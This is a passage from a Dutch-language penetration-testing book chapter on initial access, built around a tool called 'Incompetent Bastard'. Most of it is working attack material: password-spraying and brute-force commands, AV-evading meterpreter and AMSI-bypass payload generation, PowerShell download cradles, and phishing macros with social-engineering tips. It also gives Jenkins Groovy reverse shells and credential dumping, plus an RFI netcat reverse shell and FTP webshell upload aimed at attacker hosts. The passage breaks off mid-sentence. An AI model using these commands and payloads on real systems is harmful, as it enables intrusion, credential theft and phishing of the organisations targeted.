Initiële Toegang
“Elke deur gaat open. De vraag is alleen hoeveel sleutels je moet proberen.”
3.1 Het moment van binnentreden
Er is een moment in elke penetratietest dat alles verandert. Je bent uren, soms dagen bezig geweest met verkenning. Je hebt poorten gescand, services geenumereerd, woordenlijsten samengesteld. En dan – ergens tussen de 412e en 413e poging – klopt het wachtwoord. Of de payload landt. Of de macro wordt geopend. Je bent binnen.
Het is een merkwaardig gevoel. Het doet denken aan het openen van een
lang vergeten deur in een Engels landhuis: het is niet de deur zelf die
fascineert, maar wat erachter ligt. Bij een penetratietest is dat niet
anders. Die eerste shell, dat eerste whoami dat terugkomt
met een antwoord – dat is het moment waarop de test verandert van
theorie naar praktijk.
Maar laten we eerlijk zijn: het feit dat je binnenkomt, is zelden het
gevolg van briljant hackerwerk. Het is bijna altijd het gevolg van
iemand die Summer2024! als wachtwoord heeft gekozen, of een
beheerder die Jenkins open heeft laten staan, of een gebruiker die een
Word-document met macro’s heeft geopend. Initiële toegang is in de
praktijk minder “Hollywood hacker” en meer “geduldige boekhouder die
wachtwoorden probeert.”
In dit hoofdstuk behandelen we de methoden om die eerste voet tussen de deur te krijgen: brute force en password spraying, payload-generatie, Office macro’s, Jenkins-exploitatie en Remote File Inclusion.
3.2 Brute force en password spraying
3.2.1 Het wachtwoordprobleem
Hier is een ongemakkelijke waarheid: de meeste beveiligingsincidenten
beginnen met een gestolen of geraden wachtwoord. Niet met een zero-day
exploit. Niet met een geavanceerde supply chain-aanval. Met een
wachtwoord. Vaak Password1! of een variatie daarop.
Er zijn twee fundamenteel verschillende benaderingen om wachtwoorden te raden:
- Brute force: veel wachtwoorden proberen tegen een enkel account
- Password spraying: een enkel wachtwoord proberen tegen veel accounts
Het verschil is cruciaal. Brute force triggert vrijwel altijd account lockout – na drie of vijf foute pogingen wordt het account vergrendeld. Password spraying omzeilt dit door per lockout-window slechts een wachtwoord per account te proberen.
3.2.2 De lockout policy: ken je vijand
Voordat je ook maar een wachtwoord probeert, moet je de lockout policy kennen. Dit is niet optioneel. Dit is overlevingsinformatie.
# Vanuit het domein (als je al een foothold hebt):
net accounts /domain
# Via CrackMapExec (anoniem):
crackmapexec smb DC_IP -u '' -p '' --pass-pol# Via PowerView:
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccessDe drie magische getallen zijn: - Lockout threshold: na hoeveel pogingen wordt het account vergrendeld? - Lockout observation window: binnen welk tijdvenster tellen de pogingen? - Reset time: hoe lang duurt het voordat het account weer ontgrendeld wordt?
Als de lockout threshold op 5 staat en de observation window op 30 minuten, dan mag je maximaal 4 pogingen per 30 minuten doen per account. Dat klinkt beperkend, maar als je 500 accounts hebt, zijn 4 pogingen per account per 30 minuten al 2000 wachtwoord-combinaties per halve uur.
3.2.3 Gebruikersnamen verzamelen
Je hebt een lijst met gebruikersnamen nodig. Gelukkig zijn die makkelijker te vinden dan je zou denken:
# Kerbrute user enumeration (genereert geen lockout!)
kerbrute userenum -d DOMAIN --dc DC_IP \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# LDAP (als anonymous bind mogelijk is)
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" \
"(objectClass=user)" sAMAccountName | grep sAMAccountName
# CrackMapExec RID brute force
crackmapexec smb DC_IP -u '' -p '' --rid-bruteKerbrute is bijzonder slim: het gebruikt het Kerberos pre-authentication mechanisme om te testen of een gebruiker bestaat. Dit genereert geen lockout events en nauwelijks logs. Het is het verschil tussen aan een deur kloppen en door het raam gluren.
3.2.4 Password spraying in de praktijk
# CrackMapExec spray (1 wachtwoord per ronde)
crackmapexec smb DC_IP -u users.txt -p 'Summer2024!' \
-d DOMAIN --continue-on-success
# Volgende ronde (na 30+ minuten wachten!)
crackmapexec smb DC_IP -u users.txt -p 'Welcome1!' \
-d DOMAIN --continue-on-success
# Kerbrute spray (sneller, minder logs)
kerbrute passwordspray -d DOMAIN --dc DC_IP users.txt 'Summer2024!'
# Spray via verschillende protocollen
crackmapexec winrm DC_IP -u users.txt -p 'Password1' -d DOMAIN
crackmapexec ldap DC_IP -u users.txt -p 'Password1' -d DOMAINDe --continue-on-success flag is essentieel: zonder deze
flag stopt CrackMapExec bij de eerste hit. In een spray-scenario wil je
alle accounts vinden die hetzelfde wachtwoord gebruiken.
Een goed spray-script respecteert de lockout window:
# Geautomatiseerd spray script met wachttijd
for pw in Summer2024! Welcome1! Company2024!; do
crackmapexec smb DC_IP -u users.txt -p "$pw" \
-d DOMAIN --continue-on-success
echo "[*] Wacht 35 minuten voor volgende spray ronde..."
sleep 2100
doneMerk op dat de wachttijd (35 minuten) iets langer is dan de typische observation window (30 minuten). Die extra vijf minuten zijn een veiligheidsmarge. Beter vijf minuten te lang wachten dan honderden accounts vergrendelen en jezelf verraden.
De populairste spray-wachtwoorden zijn deprimerend voorspelbaar:
| Patroon | Voorbeelden |
|---|---|
| Seizoen + Jaar | Summer2024!, Winter2024!,
Spring2024! |
| Welkom | Welcome1!, Welkom01!,
Welcome2024! |
| Bedrijfsnaam | CompanyName1!, Bedrijfsnaam1! |
| Password | Password1!, P@ssw0rd!,
Passw0rd! |
Merk op: ze voldoen allemaal aan typische wachtwoordcomplexiteitsregels (hoofdletter, kleine letter, cijfer, speciaal teken, minimaal 8 karakters). Het beleid is technisch voldaan. De beveiliging is nul.
3.2.5 Brute force met Hydra en Medusa
Als password spraying niet werkt, of je richt je op een specifiek account, dan is brute force de volgende stap.
# Hydra: SSH
hydra -L users.txt -P passwords.txt ssh://TARGET_IP -t 4
# Hydra: RDP
hydra -L users.txt -P passwords.txt rdp://TARGET_IP -t 4
# Hydra: HTTP POST formulier
hydra -L users.txt -P passwords.txt TARGET_IP \
http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" -t 4
# Hydra: HTTP Basic Auth
hydra -L users.txt -P passwords.txt TARGET_IP http-get /admin -t 4
# Hydra: SMB
hydra -L users.txt -P passwords.txt smb://TARGET_IP -t 4
# Hydra: MySQL
hydra -L users.txt -P passwords.txt mysql://TARGET_IP -t 4
# Hydra: MSSQL
hydra -L users.txt -P passwords.txt mssql://TARGET_IP -t 4# Medusa: SSH
medusa -h TARGET_IP -U users.txt -P passwords.txt -M ssh -t 4
# Medusa: RDP
medusa -h TARGET_IP -U users.txt -P passwords.txt -M rdp -t 4
# Medusa: FTP
medusa -h TARGET_IP -U users.txt -P passwords.txt -M ftp -t 4
# Medusa: SMB
medusa -h TARGET_IP -U users.txt -P passwords.txt -M smbnt -t 4
# Medusa: HTTP Basic
medusa -h TARGET_IP -U users.txt -P passwords.txt \
-M http -m DIR:/admin -t 4De -t 4 flag beperkt het aantal gelijktijdige threads
tot 4. Dit is belangrijk: meer threads betekent sneller scannen, maar
ook meer kans op account lockout en detectie. Vier threads is een goed
compromis.
3.2.6 Crowbar: de RDP-specialist
Hydra is notoir onbetrouwbaar voor RDP. Crowbar is de betere keuze:
# Crowbar RDP brute force
crowbar -b rdp -s TARGET_IP/32 -U users.txt -C passwords.txt -n 1
# Crowbar SSH key brute force
crowbar -b sshkey -s TARGET_IP/32 -u root -k /path/to/keys/ -n 1
# Crowbar OpenVPN
crowbar -b openvpn -s TARGET_IP/32 -u user -C passwords.txt \
-c /path/to/config.ovpnIB Tip: IB’s Task Runner heeft dedicated brute force taken:
brute_ssh,brute_rdpenbrute_vpn. Ze gebruiken Crowbar en lezen targets automatisch uit je nmap scan resultaten. Degen_passwordstaak genereert een wachtwoordlijst gebaseerd op veelgebruikte patronen.
De IB Task Runner taken voor brute force:
| Taak | Groep | Wat het doet |
|---|---|---|
gen_passwords |
Brute Force | Genereer wachtwoord variaties |
brute_ssh |
Brute Force | Crowbar SSH brute force op nmap targets |
brute_rdp |
Brute Force | Crowbar RDP brute force op nmap targets |
brute_vpn |
Brute Force | Crowbar VPN brute force op nmap targets |
weak_ssh |
Brute Force | Test Debian weak SSH keys |
3.2.7 Offline hash cracking
Soms vind je geen werkend wachtwoord, maar wel een hash. Dan verschuift het probleem van netwerk-brute-force naar offline cracking – oneindig veel sneller en zonder lockout-risico.
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
# Hashcat (GPU-versneld)
# NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
# Kerberoast TGS hashes
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt
# AS-REP roasting hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# NetNTLMv2 hashes
hashcat -m 5600 netntlm_hashes.txt /usr/share/wordlists/rockyou.txtHet verschil in snelheid is astronomisch. Een online brute force tegen SSH doet misschien 100 pogingen per seconde. Hashcat met een fatsoenlijke GPU doet miljoenen hashes per seconde. Miljoenen. Het is het verschil tussen te voet naar Parijs lopen en er met een straalvliegtuig naartoe vliegen.
3.2.8 Woordenlijst generatie
Een goede woordenlijst is het verschil tussen succes en falen.
rockyou.txt is een prima startpunt, maar bedrijfsspecifieke
wachtwoorden staan er niet in.
# CeWL: scrape website voor woorden
cewl https://target-website -d 3 -m 5 -w cewl_wordlist.txt
# Met e-mailadressen extractie
cewl https://target-website -d 3 -m 5 -e \
--email_file emails.txt -w cewl_wordlist.txt
# Crunch: patroon-gebaseerde woordlijsten
# @ = lowercase, , = uppercase, % = nummer, ^ = symbool
crunch 10 10 -t Company%%^^ -o company_passwords.txt
crunch 8 8 -t @@@@%%%% -o names_numbers.txt
# PIN codes genereren
crunch 6 6 0123456789 -o pins.txtDe slimste aanpak is een combinatie: gebruik CeWL om bedrijfsnamen, productnamen en jargon van de website te scrapen, en pas daar dan mutatie-regels op toe:
# John the Ripper regels toepassen op een woordenlijst
john --wordlist=cewl_wordlist.txt --rules=best64 --stdout > mutated.txt
john --wordlist=cewl_wordlist.txt --rules=KoreLogic --stdout > mutated.txt
# Hashcat regels
hashcat -r /usr/share/hashcat/rules/best64.rule \
--stdout wordlist.txt > mutated.txt
# Meerdere regelsets combineren
hashcat -r rule1.rule -r rule2.rule --stdout wordlist.txt > mutated.txtDe best64 regelset is een goede start – het past 64
veelgebruikte transformaties toe (hoofdletter aan het begin, cijfers
achteraan, symbolen toevoegen, etc.). De
OneRuleToRuleThemAll regelset is uitgebreider maar
trager.
IB Tip: IB’s
passwd_wordlistcommand file bevat crunch-patronen, CeWL-commando’s en mutatie-regels. Hetpasswd_spraybestand bevat de complete spray-workflow inclusief lockout policy checks. Begin altijd met de lockout policy voordat je gaat sprayen.
3.3 Payload generatie
3.3.1 De wapenkamer
Een payload is het stukje code dat op het doelsysteem draait en je een verbinding teruggeeft. Het is de digitale equivalent van een sleutel die je van binnenuit de deur openmaakt. Incompetent Bastard heeft acht payload generators ingebouwd – elk voor een ander scenario, platform en evasion-techniek.
IB’s payload generators zijn geen simpele msfvenom-wrappers. Ze genereren shellcode, passen XOR-encryptie toe, compileren C# code, en produceren kant-en-klare bestanden die je direct kunt deployen. Alles vanuit een webinterface.
3.3.2 Overzicht van IB’s payload generators
| Generator | Route | Output | Beschrijving |
|---|---|---|---|
| Meterpreter | /meterpreter |
meuk/meth/bin/Debug/meth.exe |
XOR-encrypted C# meterpreter, compilatie via msbuild |
| Meterpreter v2 | /meterpreter2 |
meuk/meth/bin/Debug/meth.exe |
v2 met LURI support |
| PowerShell | /powershell |
http/payloads/amsi-bypass.ps1,
amsi-shell.ps1, shell_443.txt |
AMSI bypass + reverse shell + base64 payload |
| Macro | /macro |
VBA macro / .docm |
Office macro met msfvenom shellcode |
| Macro v2 | /macro2 |
VBA macro / .docm |
v2 met LURI support en template injectie |
| Meth ASPX | /methaspx |
http/payloads/meth.aspx |
XOR-encrypted C# ASPX webshell |
| Invoke-Shellcode | /invokeshellcode |
http/payloads/invoke-shellcode.ps1 |
PowerShell x32+x64 shellcode loader |
3.3.3 Meterpreter Generator walkthrough
De Meterpreter Generator is IB’s vlaggenschip payload generator. Hij genereert een XOR-encrypted C# executable die meterpreter shellcode laadt – ontworpen om antivirusdetectie te ontwijken.
Stap 1: Open de generator
Navigeer naar http://127.0.0.1:5000/meterpreter in je
browser. Je ziet een formulier met drie velden:
- LHOST (verplicht): het IP-adres waar de meterpreter-sessie naar terugverbindt
- LPORT (standaard 443): de poort voor de callback
- Payload (keuzemenu): het type meterpreter payload
- XOR Key (optioneel): een integer 1-255 voor XOR-encryptie, of leeg voor random
Stap 2: Configureer de payload
Typische configuratie: - LHOST: 10.0.0.1 (je
aanvalsmachine) - LPORT: 443 (HTTPS-poort, minder
opvallend) - Payload: windows/x64/meterpreter/reverse_https
- XOR Key: leeg (random)
Stap 3: Genereer
Klik op “Genereer meterpreter”. IB doet het volgende op de achtergrond:
- Roept
msfvenomaan om raw shellcode te genereren - Past XOR-encryptie toe met de opgegeven of random sleutel
- Genereert een C# bronbestand met de encrypted shellcode
- Compileert het met
msbuild - Produceert
meuk/meth/bin/Debug/meth.exe
Stap 4: Download en deploy
De gegenereerde executable verschijnt als download. Transfer het naar het doelsysteem via een van IB’s delivery-methoden (HTTP server, FTP upload, of via een eerder verkregen shell).
3.3.4 Meterpreter v2: met LURI support
De v2 generator voegt een LURI (Listener URI) parameter toe. Dit is nuttig als je Metasploit handler achter een reverse proxy draait – de LURI specificeert het pad waarop de handler luistert.
Configuratie: - LHOST: 10.0.0.1 - LPORT:
443 - LURI: /api/v1/session (of elk
willekeurig pad) - Payload:
windows/x64/meterpreter/reverse_https
De LURI maakt het verkeer minder opvallend: in plaats van callbacks
naar https://10.0.0.1:443/, gaan ze naar
https://10.0.0.1:443/api/v1/session – wat eruitziet als
normaal API-verkeer.
3.3.5 PowerShell Generator
De PowerShell Generator produceert drie bestanden:
amsi-bypass.ps1: een script dat de Antimalware Scan Interface (AMSI) uitschakeltamsi-shell.ps1: AMSI bypass + reverse shell in een bestandshell_443.txt: base64-encoded payload
# Typisch gebruik op het doelsysteem:
# 1. AMSI bypass laden
IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/amsi-bypass.ps1')
# 2. Reverse shell laden
IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/amsi-shell.ps1')
# Of de base64 variant (minder detecteerbaar):
powershell -enc [BASE64_STRING]De PowerShell Generator ondersteunt ook LURI en een keuze van
bestandsnaam voor het output-bestand in http/payloads/.
3.3.6 Invoke-Shellcode Generator
De Invoke-Shellcode generator produceert een PowerShell script dat
shellcode injecteert in het huidige process. Het genereert zowel x32 als
x64 shellcode via msfvenom en verpakt het in een
invoke-shellcode.ps1 bestand.
Configuratie: - LHOST: 10.0.0.1 - LPORT:
443 - LURI: / (standaard)
Output: http/payloads/invoke-shellcode.ps1
Het verschil met de PowerShell Generator is subtiel maar belangrijk: de PowerShell Generator produceert een script dat via een download cradle wordt geladen en direct in PowerShell draait. De Invoke-Shellcode Generator produceert een script dat shellcode direct in het proces-geheugen injecteert. Dat laatste is moeilijker te detecteren voor antivirusoplossingen die op bestandsniveau scannen.
3.3.7 ASPX Generator (Meth ASPX)
Voor IIS-webservers genereert de Meth ASPX Generator een XOR-encrypted ASPX webshell. Dit is nuttig als je schrijftoegang hebt tot een IIS-webroot (via FTP, SMB, of een upload-kwetsbaarheid).
# Na generatie: upload naar IIS webroot
# Via FTP:
ftp TARGET_IP
# put meth.aspx
# cd wwwroot
# put meth.aspx
# Via curl (als er een upload endpoint is):
curl -F "file=@http/payloads/meth.aspx" http://TARGET_IP/upload
# Trigger:
curl http://TARGET_IP/meth.aspxOutput: http/payloads/meth.aspx met XOR-encrypted C#
shellcode.
3.3.8 Msfvenom: de command-line manier
Achter IB’s generators draait msfvenom. Als je de command-line prefereert, of een payload nodig hebt die IB niet ondersteunt:
# Windows meterpreter reverse HTTPS (exe)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe
# Windows meterpreter reverse TCP (exe)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.1 LPORT=443 -f exe -o shell_tcp.exe
# Linux reverse shell (ELF)
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.0.0.1 LPORT=443 -f elf -o shell.elf
# ASP reverse shell (voor IIS)
msfvenom -p windows/shell_reverse_tcp \
LHOST=10.0.0.1 LPORT=443 -f asp -o shell.asp
# JSP reverse shell (voor Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.0.0.1 LPORT=443 -f raw -o shell.jsp
# WAR file (voor Tomcat manager)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.0.0.1 LPORT=443 -f war -o shell.war
# macOS reverse shell
msfvenom -p osx/x64/shell_reverse_tcp \
LHOST=10.0.0.1 LPORT=443 -f macho -o shell.macho
# PowerShell payload (base64)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.0.0.1 LPORT=443 -f psh -o shell.ps1
# Raw shellcode (voor custom loaders)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.0.0.1 LPORT=443 -f raw -o shellcode.bin
# C# shellcode (voor compilatie)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.0.0.1 LPORT=443 -f csharpIB Tip: IB’s
http/payloads/directory bevat kant-en-klare payloads in meerdere formaten:.exe,.elf,.asp,.jsp,.war,.macho,.txt(base64 PowerShell). IB’s ingebouwde HTTP server serveert deze bestanden automatisch – je slachtoffer hoeft ze alleen maar te downloaden.
3.3.9 Metasploit handler opzetten
Een payload zonder handler is als een telefoon zonder ontvanger. Je moet Metasploit klaarzetten om de callback op te vangen:
# Start msfconsole
msfconsole
# Handler configureren
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.0.1
set LPORT 443
set ExitOnSession false
exploit -jDe ExitOnSession false optie zorgt ervoor dat de handler
blijft luisteren na de eerste verbinding – essentieel als je meerdere
sessies verwacht. De exploit -j flag start de handler als
achtergrond-job, zodat je de msfconsole kunt blijven gebruiken.
Enkele nuttige Metasploit-commando’s na het opzetten van de handler:
# Lijst van actieve sessies
sessions -l
# Interactie met een sessie
sessions -i 1
# Achtergrond een sessie
background
# Route toevoegen via een sessie (voor pivoting)
route add 10.1.0.0/24 1Voor HTTPS-payloads met LURI:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.0.1
set LPORT 443
set LURI /api/v1/session
set ExitOnSession false
exploit -j3.4 Office macro’s: social engineering met een spreadsheet
3.4.1 Waarom macro’s werken
Office macro’s zijn de oudste truc in het boek, en ze werken nog steeds. Niet omdat de techniek zo geavanceerd is – het is letterlijk VBA-code uit de jaren negentig – maar omdat de zwakste schakel altijd de mens is. Een goed opgemaakt Excel-bestand met de titel “Salarisoverzicht_Q4.xlsm” en een vriendelijk bericht “Klik op ‘Enable Macros’ om de gegevens te bekijken” is voldoende om in menig organisatie een foothold te krijgen.
Microsoft heeft in recente versies van Office macro’s standaard geblokkeerd voor bestanden die van internet zijn gedownload (de Mark-of-the-Web bescherming). Maar in veel bedrijfsomgevingen draaien oudere versies, of is deze bescherming uitgeschakeld “omdat anders de afdeling Financien niet kan werken.”
3.4.2 IB’s Macro Generator
IB heeft twee macro generators: de originele en de v2 (met LURI-support).
Macro Generator (v1):
- Navigeer naar
http://127.0.0.1:5000/macro - Configureer:
- LHOST:
10.0.0.1 - LPORT:
443 - Payload:
windows/meterpreter/reverse_https - Template (optioneel): upload een
.docxof.xlsx
- LHOST:
- Klik “Genereer macro”
Als je een template uploadt, injecteert IB de macro in het document
en produceert een macro-enabled versie (.docm of
.xlsm). Zonder template krijg je de raw VBA-code die je
handmatig in een document kunt plakken.
Macro Generator (v2):
Dezelfde workflow, maar met een extra LURI-veld. De API endpoint is
/api/macro2/generate.
3.4.3 Handmatige VBA macro payload
Als je de macro zelf wilt bouwen:
# Genereer VBA macro via msfvenom
msfvenom -p windows/meterpreter/reverse_https \
LHOST=10.0.0.1 LPORT=443 \
-f vba-exe -o macro_payload.vbaDe gegenereerde code bestaat uit twee delen: 1. Een
Auto_Open() (Word) of Workbook_Open() (Excel)
functie die automatisch draait bij het openen van het document 2.
Shellcode die in het geheugen wordt geladen en de meterpreter-sessie
start
Om de macro in een document te plaatsen: 1. Open Word of Excel 2.
Druk Alt+F11 om de VBA-editor te openen 3. Plak de
gegenereerde code in een module 4. Sla op als .docm (Word)
of .xlsm (Excel)
3.4.4 Social engineering delivery
De techniek is slechts de helft van het verhaal. De delivery – hoe je het document bij het slachtoffer krijgt – is minstens zo belangrijk.
Effectieve delivery-methoden:
- E-mail: het meest voorkomend. Een overtuigend bericht met het document als bijlage
- USB-drop: fysiek een USB-stick achterlaten op een parkeerplaats of in de lobby
- Interne share: als je al een foothold hebt, plaats het document op een gedeelde schijf
- Website: host het document op een overtuigende website
De sleutel is context. Een document genaamd
Factuur_December.xlsm verstuurd in januari aan de
financiële afdeling is vele malen effectiever dan een generiek document
aan een willekeurige medewerker.
Enkele tips voor overtuigende macro-documents:
- Gebruik de huisstijl: kopieer logo’s, kleurtinten en lettertypen van de organisatie
- Verwijs naar echte projecten: als je via OSINT projectnamen hebt gevonden, gebruik ze
- Maak het urgent: “Actie vereist voor 17:00” werkt beter dan “Bijgevoegd ter informatie”
- Verberg de macro-waarschuwing: voeg een afbeelding toe die zegt “Dit document is beveiligd. Klik op ‘Enable Content’ om het te bekijken”
- Stuur het op het juiste moment: maandagochtend is effectiever dan vrijdagmiddag
Dit is geen technisch advies. Dit is social engineering. En social engineering is effectiever dan welke exploit dan ook.
IB Tip: IB’s HTTP server (standaard actief op poort 5000) serveert bestanden uit de
http/payloads/directory. Gegenereerde macro-documenten worden hier automatisch geplaatst. Combineer dit met IB’s XSS-hooks voor een volledige social engineering pipeline: hook de browser, stuur een bericht met een link naar je payload.
3.5 Jenkins exploitatie
3.5.1 De CI/CD-server als achterdeur
Jenkins is de meest gebruikte CI/CD-server ter wereld. Het automatiseert het bouwen, testen en deployen van software. En het draait vaak als root of SYSTEM. Op een server die toegankelijk is voor het hele ontwikkelteam. Soms voor het hele netwerk. Soms voor het hele internet.
Jenkins is een penetratietester’s droom. Het is ontworpen om willekeurige code uit te voeren – dat is letterlijk zijn functie. Het verschil tussen “legitimate CI/CD pipeline” en “remote code execution” is alleen een kwestie van wie de code uitvoert.
3.5.2 Detectie
# Jenkins draait typisch op deze poorten
# 8080 (HTTP), 8443 (HTTPS), 50000 (agent)
# Versie detectie
nmap -sV -p 8080,8443,50000 TARGET_IP
# Handmatige checks:
# Login pagina: http://TARGET:8080/login
# Versie info: http://TARGET:8080/oops (of /error)
# Groovy console: http://TARGET:8080/script
# Manage pagina: http://TARGET:8080/manage
# Gebruikerslijst: http://TARGET:8080/asynchPeople/De belangrijkste vraag is: is /script bereikbaar? Als
ja, heb je directe remote code execution. De Groovy Script Console is
een interactieve console die willekeurige Groovy-code uitvoert op de
server. Met de rechten van het Jenkins-proces. Dat is meestal root of
SYSTEM.
3.5.3 Groovy Script Console: directe RCE
Als de Script Console toegankelijk is (al dan niet na authenticatie):
// Linux: command execution
def cmd = "id".execute()
println cmd.text
// Linux: reverse shell
String host = "10.0.0.1"
int port = 443
String cmd = "/bin/bash"
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new Socket(host, port)
InputStream pi = p.getInputStream()
InputStream pe = p.getErrorStream()
InputStream si = s.getInputStream()
OutputStream po = p.getOutputStream()
OutputStream so = s.getOutputStream()
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read())
while (pe.available() > 0) so.write(pe.read())
while (si.available() > 0) po.write(si.read())
so.flush()
po.flush()
Thread.sleep(50)
}// Windows: command execution
def cmd = "cmd.exe /c whoami".execute()
println cmd.text
// Windows: PowerShell download cradle
def cmd = "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')".execute()3.5.4 Build Step RCE
Als je geen admin-toegang hebt maar wel Jobs kunt aanmaken of wijzigen:
- Maak een nieuwe Job: New Item -> Freestyle project
- Ga naar Build -> Add build step -> Execute shell (Linux) of Execute Windows batch command
- Voer je commando in:
# Linux reverse shell via build step
bash -i >& /dev/tcp/10.0.0.1/443 0>&1# Windows: download en execute
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')"- Klik Build Now
De build draait als het Jenkins-serviceaccount. Op Linux is dat vaak
jenkins (soms root). Op Windows is dat vaak
NT AUTHORITY\SYSTEM.
3.5.5 Credential dumping via Jenkins
Jenkins slaat credentials op in
$JENKINS_HOME/credentials.xml, versleuteld met een master
key. Via de Groovy console kun je deze ontsleutelen:
// Alle opgeslagen credentials dumpen
com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
Jenkins.instance, null, null
).each {
println "ID: ${it.id}, User: ${it.username}, Pass: ${it.password}"
}// Individuele encrypted string ontsleutelen
println hudson.util.Secret.decrypt("{AQAAABAAAAAg...}")Jenkins credentials bevatten vaak SSH-sleutels, database-wachtwoorden, API-tokens en deployment-credentials. Een compromised Jenkins is niet alleen toegang tot de Jenkins-server – het is potentieel toegang tot elk systeem waar Jenkins mee communiceert.
3.5.6 Jenkins CLI en API
# Jenkins API met bekende credentials
curl -u admin:PASSWORD http://TARGET:8080/api/json
# Remote code execution via API
curl -u admin:PASSWORD http://TARGET:8080/script \
-d "script=println 'whoami'.execute().text"
# Jenkins CLI
# Download de CLI jar:
# http://TARGET:8080/jnlpJars/jenkins-cli.jar
java -jar jenkins-cli.jar -s http://TARGET:8080/ \
-auth admin:PASSWORD groovy = <<< "println 'id'.execute().text"3.5.7 Jenkins als springplank
Het gevaar van Jenkins gaat verder dan de Jenkins-server zelf. Jenkins communiceert typisch met:
- Source code repositories: GitLab, GitHub, Bitbucket – met opgeslagen SSH-sleutels of tokens
- Artifact stores: Nexus, Artifactory – met deployment credentials
- Cloud providers: AWS, Azure, GCP – met service account keys
- Databases: voor testing – met connectie-strings en wachtwoorden
- Productieservers: voor deployment – met SSH-sleutels of WinRM credentials
Elke credential die in Jenkins staat, is een nieuw aanvalspad. Een gecompromitteerde Jenkins-server is zelden het eindpunt – het is het begin van een veel grotere aanval. Dit is wat security professionals “lateral movement” noemen, en Jenkins is een van de effectiefste springplanken die er bestaan.
3.5.8 Bekende Jenkins CVEs
| CVE | Beschrijving | Impact |
|---|---|---|
| CVE-2024-23897 | Arbitrary file read via CLI args | Hoog |
| CVE-2019-1003000 | Sandbox bypass in Pipeline | Kritiek |
| CVE-2018-1000861 | Unauthenticated RCE | Kritiek |
IB Tip: IB’s
exploit_jenkinscommandobestand bevat de volledige Jenkins exploitation flow: detectie, Groovy console shells (Linux en Windows), build step RCE, credential dumping en API-misbruik. De kern: als/scriptbereikbaar is, heb je RCE. Jenkins draait vaak als root of SYSTEM, dus dat betekent meestal directe privilege escalation.
3.6 Remote File Inclusion (RFI)
3.6.1 Het PHP-probleem
Remote File Inclusion is een kwetsbaarheid die vooral voorkomt in PHP-applicaties. Het werkt als volgt: de applicatie includeert een bestand op basis van gebruikersinput, en als die input een URL kan zijn, kan een aanvaller zijn eigen code laten uitvoeren.
De kwetsbare code ziet er meestal zo uit:
<?php
include($_GET['page']);
?>Als de aanvaller page=http://attacker.com/shell.php kan
meegeven, includeert de server het bestand van de aanvaller en voert het
uit. Het is alsof je tegen een kok zegt “maak wat er in dit recept
staat” en hem dan een recept geeft voor vergif.
3.6.2 php://input methode
De php://input stream wrapper is bijzonder bruikbaar:
het laat je PHP-code meegeven in de request body in plaats van via een
extern bestand. Geen aparte hosting nodig.
# Stap 1: Start een listener
nc -lnvp 443
# Stap 2: Stuur de RFI payload
curl -v 'http://TARGET/vuln.php?page=php://input%00' \
-d '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 443 >/tmp/f");?>'De %00 (null byte) aan het einde van de URL is een oude
truc: PHP-versies voor 5.3 interpreteerden de null byte als het einde
van de string, waardoor een eventuele .php-extensie die de
applicatie toevoegde werd genegeerd.
3.6.3 IB als payload host
IB draait een HTTP-server die bestanden uit
http/payloads/ serveert. Dit maakt het ideaal als host voor
RFI-payloads:
- Genereer een payload via een van IB’s generators
- De payload staat automatisch in
http/payloads/ - IB serveert het bestand via HTTP
- Gebruik de URL in je RFI-aanval
# Voorbeeld: RFI met IB-gehoste webshell
curl 'http://TARGET/vuln.php?page=http://ATTACKER_IP:5000/static/payloads/shell.php'IB Tip: IB’s Task Runner heeft een
rfi_inputtaak die dephp://inputmethode automatiseert. Het start automatisch een netcat listener in een screen-sessie en stuurt de RFI payload. De output vertelt je welke screen-sessie je shell bevat.
3.6.4 FTP als delivery-methode
IB heeft ook een FTP-gebaseerde aanvalsketen: ftp_asp.sh
combineert anonymous FTP-upload met het triggeren van een ASP
webshell:
# Wat ftp_asp.sh doet:
# 1. Start netcat listener in screen
screen -dmS ftp_asp_443 nc -lnvp 443
# 2. Upload ASP shell via anonymous FTP
ftp -n TARGET_IP <<END
quote USER Anonymous
quote PASS Anonymous
cd wwwroot
binary
put shell_443.asp
quit
END
# 3. Trigger de shell via HTTP
curl http://TARGET_IP/shell_443.aspDit is de klassieke keten: verkenning (anonymous FTP gevonden), payload delivery (upload via FTP), executie (trigger via HTTP). Drie stappen, minimale complexiteit, maximale impact.
3.7 Het cynische intermezzo: over wachtwoorden en menselijke feilbaarheid
Weet je wat het ironische is aan wachtwoordbeveiliging? We dwingen
mensen om wachtwoorden te bedenken die moeilijk te onthouden zijn voor
mensen, maar triviaal te kraken voor computers. P@ssw0rd1!
voldoet aan elke complexiteitseis die een doorsnee IT-afdeling stelt:
hoofdletter, kleine letter, cijfer, speciaal teken, minimaal 8
